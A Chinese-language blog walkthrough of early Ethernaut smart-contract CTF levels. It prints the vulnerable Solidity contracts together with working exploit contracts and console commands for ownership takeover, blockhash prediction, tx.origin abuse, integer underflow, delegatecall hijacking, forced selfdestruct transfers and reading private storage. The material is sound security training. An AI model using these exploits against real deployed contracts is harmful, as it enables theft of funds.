这学期有区块链的大创和比赛,所以需要学一下智能合约什么的,正好看到最近的一些CTF比赛里出现了智能合约的题目,就想着玩玩这个。
在某佬博客里看到一个入门的靶场 ,就先打一遍入个门。
0x00 环境准备 首先肯定是IDE ,然后在自己的chrome里面安装上MetaMask插件
,开Ropsten测试网络
进行测试,搞好以后去找个水龙头嫖几个以太币(当然是假的)用来测试。
关于IDE的使用,写好一个合约之后,简单来说需要走的步骤就是
编译—>部署—>调用
每一个部署和调用都要花费一定量的以太(view和pure除外)。
在做题的过程中一定要保持靶场和小狐狸的交互性。
顺便一提
这个靶场的成功提示好魔性啊(XD
0x01 Hello Ethernaut 这道题就是用来测环境的,打开MetaMask然后在console跟着教程一步一步走就好。
0x02 Fallback ✔ 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 pragma solidity ^0.4 .18 ; import 'zeppelin-solidity/contracts/ownership/Ownable.sol' ;import 'openzeppelin-solidity/contracts/math/SafeMath.sol' ;contract Fallback is Ownable { using SafeMath for uint256; mapping(address => uint) public contributions; function Fallback ( ) public { contributions[msg.sender] = 1000 * (1 ether); } function contribute ( ) public payable { require (msg.value < 0.001 ether); contributions[msg.sender] = contributions[msg.sender].add(msg.value); if (contributions[msg.sender] > contributions[owner]) { owner = msg.sender; } } function getContribution ( ) public view returns (uint ) { return contributions[msg.sender]; } function withdraw ( ) public onlyOwner { owner.transfer(this .balance); } function ( ) payable public { require (msg.value > 0 && contributions[msg.sender] > 0 ); owner = msg.sender; } }
题目的目的有两个,成为owner和清空余额,直接看合约代码,要成为owner,可以转账超过1000,肯定不可行,然后最后的callback函数,只要转账大于0,贡献大于0就可,故先调用contribute()然后转账,就可以出发callback函数,成为owner,然后调用withdraw清空余额。
1 2 3 contract.contribute({value : 1 }) contract.sendTransaction({value : 1 }) contract.withdraw()
控制台执行以上三局命令就好
0x03 Fallout ✔ 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 pragma solidity ^0.4 .18 ; import 'zeppelin-solidity/contracts/ownership/Ownable.sol' ;import 'openzeppelin-solidity/contracts/math/SafeMath.sol' ;contract Fallout is Ownable { using SafeMath for uint256; mapping (address => uint) allocations; function Fal1out ( ) public payable { owner = msg.sender; allocations[owner] = msg.value; } function allocate ( ) public payable { allocations[msg.sender] = allocations[msg.sender].add(msg.value); } function sendAllocation (address allocator ) public { require (allocations[allocator] > 0 ); allocator.transfer(allocations[allocator]); } function collectAllocations ( ) public onlyOwner { msg.sender.transfer(this .balance); } function allocatorBalance (address allocator ) public view returns (uint ) { return allocations[allocator]; } }
目的仍然是成为owner,这里出题人恶趣味,给了一个看似是其实不是的构造函数,所以只要调用一下他的“构造函数”,就达成目的
1 contract.Fal1out({value :1 })
0x04 Coin Flip ✔ 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 pragma solidity ^0.4 .18 ; import 'openzeppelin-solidity/contracts/math/SafeMath.sol' ;contract CoinFlip { using SafeMath for uint256; uint256 public consecutiveWins; uint256 lastHash; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968 ; function CoinFlip ( ) public { consecutiveWins = 0 ; } function flip (bool _guess ) public returns (bool ) { uint256 blockValue = uint256(block.blockhash(block.number.sub(1 ))); if (lastHash == blockValue) { revert(); } lastHash = blockValue; uint256 coinFlip = blockValue.div(FACTOR); bool side = coinFlip == 1 ? true : false ; if (side == _guess) { consecutiveWins++; return true ; } else { consecutiveWins = 0 ; return false ; } } }
这次的目的变了,要猜对十次硬币,这道题考察了区块链的特性,所有数据都在链中,everything is public,所以看似正常的随机数机制在智能合约中是非常危险的,代码中可以看到,每一次随机数由上一个随机数和一个常数计算而来,而每一个数我们都是可知的,所以就很稳定的可以预测随机数。
写一个合约完成任务:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 pragma solidity ^0.4 .18 ; contract CoinFlip { function flip (bool _guess ) public returns (bool ); } contract hack { address public addr = 0xff19d6b5a3e5b87fdd5d4307c679440764ae8edd ; CoinFlip a = CoinFlip(addr); uint256 public FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968 ; function guess ( ) public { uint256 blockValue = uint256(blockhash(block.number -1 )); uint256 coinFlip = uint256(uint256(blockValue) / FACTOR); bool side = coinFlip == 1 ? true : false ; a.flip(side); } }
然后猛点十次guess方法,就可以交答案了。
0x05 Telephone 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 pragma solidity ^0.4 .18 ; contract Telephone { address public owner; function Telephone ( ) public { owner = msg.sender; } function changeOwner (address _owner ) public { if (tx.origin != msg.sender) { owner = _owner; } } }
这道题考点在于tx.origin
和msg.sender
的关系,顾名思义,origin就是起源,sender就是发送者,区别在于,origin只能是用户,sender可以是用于和合约,题目要我们将owner的值变成我们用户的地址。
如果我们直接调用changeOwner函数,那么此时tx.origin和msg.sender都是我们的用户,但如果我们部署了一个合约,通过这个合约去调用了Telephone合约的changeOwner方法,那么tx.origin就是我们的用户msg.sender就是我们部署的合约,此时通过了if
判断,目的达成。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 pragma solidity ^0.4.18; contract Telephone { function Telephone() public {} function changeOwner(address _owner) public {} } contract hack{ address target; constructor(address param){ target = param; } function attack(){ Telephone a = Telephone(target); a.changeOwner(msg.sender); } }
0x06 Token 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 pragma solidity ^0.4 .18 ; contract Token { mapping(address => uint) balances; uint public totalSupply; function Token (uint _initialSupply ) public { balances[msg.sender] = totalSupply = _initialSupply; } function transfer (address _to, uint _value ) public returns (bool ) { require (balances[msg.sender] - _value >= 0 ); balances[msg.sender] -= _value; balances[_to] += _value; return true ; } function balanceOf (address _owner ) public view returns (uint balance ) { return balances[_owner]; } }
经典的整数溢出
solidity的uint存在溢出,题目设定了20的余额,所以_value=21的时候就会发生整数下溢,变成2**256-1,达成条件。
直接调用transfer函数即可。
0x07 Delegation 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 pragma solidity ^0.4 .18 ; contract Delegate { address public owner; function Delegate (address _owner ) public { owner = _owner; } function pwn ( ) public { owner = msg.sender; } } contract Delegation { address public owner; Delegate delegate; function Delegation (address _delegateAddress ) public { delegate = Delegate(_delegateAddress); owner = msg.sender; } function ( ) public { if (delegate.delegatecall(msg.data)) { this ; } } }
这道题考点在于solidity
中call
方法和delegatecall
方法的区别,call调用外部方法时,运行的上下文是外部合约,delegatecall
调用外部方法时,运行的上下文是内部合约。
所以转账触发Delegation
合约中的回调函数,然后delegate.delegatecall(msg.data)
传入参数调用Delegate
合约的pwn()
方法,将owner变成自己。
1 contract.sendTransaction({data : web3.sha3("pwn()" ).slice(0 ,10 )});
0x08 Force 1 2 3 4 5 6 7 8 9 10 11 pragma solidity ^0.4.18; contract Force {/* MEOW ? /\_/\ / ____/ o o \ /~____ =ø= / (______)__m_m) */}
好嘛,干脆代码了
目标是给force钱,但是这个合约没有payable,但是我了解到,solidity有一个特性,如果调用一个合约的selfdestruct
,即自毁方法,那么它临死之前会将自己的所有余额转给某合约,而且不会触发该合约的callback方法。
该题解题思路为:创建一个合约,给合约转账,然后触发这个合约的自毁,从而给目标合约成功转账。
0x09 Vault 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 pragma solidity ^0.4 .18 ; contract Vault { bool public locked; bytes32 private password; function Vault (bytes32 _password ) public { locked = true ; password = _password; } function unlock (bytes32 _password ) public { if (password == _password) { locked = false ; } } }
题目目标是要将locked变量的值false掉,首先要得到password,虽然这个password是一个private,但是我们知道,everything is public,就算是私有的变量也是可知的。
1 web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(web3.toAscii(y))});
用以上代码就可以获得password的值,然后调用unlock函数就可。